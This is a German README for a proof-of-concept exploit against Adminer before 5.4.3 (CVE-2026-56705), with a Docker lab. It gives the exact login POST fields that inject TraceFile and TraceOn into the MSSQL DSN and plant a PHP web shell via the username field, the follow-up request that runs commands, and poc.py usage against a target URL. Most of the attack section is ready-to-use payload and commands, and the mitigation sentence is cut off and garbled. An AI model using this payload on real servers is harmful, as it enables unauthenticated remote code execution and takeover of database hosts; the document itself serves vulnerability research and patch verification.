
PoC-Exploit für Adminer < 5.4.3 unbeabsichtigte RCE über MSSQL-PDO-DSN-Injection, inklusive Docker-Lab und Negativtest.
| CVE | CVE-2026-56705 |
| GHSA | GHSA-r4x9-5m63-3vxw (Hersteller-Advisory) / GHSA-34q8-53jm-qc2r (GitHub-DB) |
| Produkt | Adminer (Ein-Datei-PHP-Datenbankverwaltungstool) |
| Betroffen | Adminer < 5.4.3 mit pdo_sqlsrv + Microsoft ODBC-Treiber für SQL Server |
| Behoben in | 5.4.3 |
| CVSS | 9.8 Kritisch (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Typ | CWE-20 → nicht authentifiziertes beliebiges Dateischreiben → RCE |
Adminer bereinigt das vom Benutzer bereitgestellte Feld server nicht, bevor die
PDO-DSN für MSSQL-Verbindungen erstellt wird:
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
list($host, $port) = host_port($server);
return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}
Semikolons in server werden als Trennzeichen für ODBC-Verbindungsattribute behandelt, sodass ein
nicht authentifizierter Angreifer beliebige Attribute an die DSN anhängen kann — einschließlich
TraceFile und TraceOn. Die unixODBC-Trace-Funktion schreibt die vollständige Verbindungszeichenfolge
(mit UID={username} wörtlich) in TraceFile vor und unabhängig davon, ob die
Verbindung erfolgreich ist. Das Injizieren von PHP-Code über das Feld username
und das Ausrichten von TraceFile auf das Web-Root erzeugt eine Web-Shell.
Ein einzelner nicht authentifizierter Login-POST reicht aus. Keine gültigen Anmeldedaten, keine Benutzerinteraktion.
auth[driver] = mssql
auth[server] = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1UID={<?php ... ?>} in /var/www/shell.phpGET /shell.php?c=id → Befehl wird ausgeführt# Nur Fingerprinting
python3 poc.py --target http://target/adminer.php --check
# Vollständiger Exploit (schreibt <random>.php in das Web-Root)
python3 poc.py --target http://target/adminer.php --command "id"
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id
Das Labor-Image spiegelt die Voraussetzungen des Advisories exakt wider: php:8.3-cli +
pdo_sqlsrv (pecl) + msodbcsql18, Web-Root beschreibbar durch den PHP-Prozess.
mssql-Treibers oder Entfernen
von ; (und Leerzeichen) aus benutzergelieferten server-Werten an einem Reverse-Proxy.Das Hersteller-Advisory schreibt die Entdeckung gemeinsam dem Melder und Yashar Shahinzadeh (@voorivex) zu.
PoC & Labor: Hamza Cagrici (@Boreas37)
| Datum | Ereignis |
|---|---|
| 2026-08-25 | CVE veröffentlicht / behoben in Adminer 5.4.3 |